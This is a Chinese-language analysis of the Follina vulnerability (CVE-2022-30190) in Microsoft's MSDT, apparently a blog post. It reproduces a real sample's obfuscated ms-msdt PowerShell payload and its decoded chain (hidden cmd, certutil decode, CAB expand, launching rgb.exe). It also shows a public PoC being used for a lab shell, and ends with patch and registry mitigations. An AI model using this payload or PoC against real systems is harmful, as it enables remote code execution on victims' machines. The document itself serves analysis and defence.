微软官方介绍:https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

在微软官方的介绍里,我们可以看到,这个漏洞是从Word等调用应用程序使用URL协议,调用MSDT时存在远程执行代码漏洞。
成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。
要利用此漏洞,攻击者只需要用户打开恶意文档即可,而且在保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码

漏洞分析

我们可以在any.run上下载样例和漏洞代码,进行分析。
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
我们将样例放到Kali linux上来进行分析。因为这个漏洞是从 Word 等调用应用程序使用URL协议调用MSDT时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码。
所以我们可以使用unzip命令解压word文档,来分析这个xml文件

unzip 05-2022-0438.doc

漏洞利用发生在这个word/_rels/document.xml里,我们打开分析,发现有一处地方引用了外部链接。
我们通过在any.run上查看这个被引用文件的源代码,发现重点是这一段:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";

分析后得出:

1. window.location.href:设置了一个窗口
2. ms-msdt:是windows的诊断工具
3. 之后就是ms-msdt的一些参数,不重要

我们可以看到代码调用了powershell,执行的内容经过了base64加密,我们解密看一下。
解密后可以看到以下内容:

$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

经过分析后我们可以看到代码的用意:

  1. 启动隐藏窗口(-windowstyle hidden
  2. 如果 msdt.exe 正在运行,则终止它
  3. 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串(for ... %i in ... do ...
  4. 将此 Base64 编码的 CAB 文件存储为1.t(copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t
  5. 解码Base64编码的CAB文件保存为1.c(certutil -decode 1.t 1.c
  6. 将1.c CAB文件展开到当前目录(expand 1.c -F:* .),最后:
  7. 执行rgb.exe

关键就在这里,Windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞。
漏洞利用的办法很简单,我们只需要修改一下这个xml文件,引用网站上的恶意代码就好了。
下面讲一下POC利用

POC利用

POC下载:https://github.com/JohnHammond/msdt-follina

获取shell:

python3 follina.py -r 4444

运行后会在这个POC的目录里生成一个follina.doc文档,我们下载他,然后放到靶机上执行。
靶机执行后,成功拿到shell。

漏洞修复

修复漏洞很简单,现在微软已经发布了补丁,Windows 8.1, Windows Server 2012 R2, Windows Server 2012, Windows 7, Windows Server 2008 R2, Windows Server 2008 SP2安装补丁KB5015805即可。
Windows10, Windows11的累积更新中已经包含了漏洞补丁。

也可以在cmd中执行以下两条命令,删除msdt的注册表:

reg export HKEY_CLASSES_ROOT\ms-msdt filename
reg delete HKEY_CLASSES_ROOT\ms-msdt /f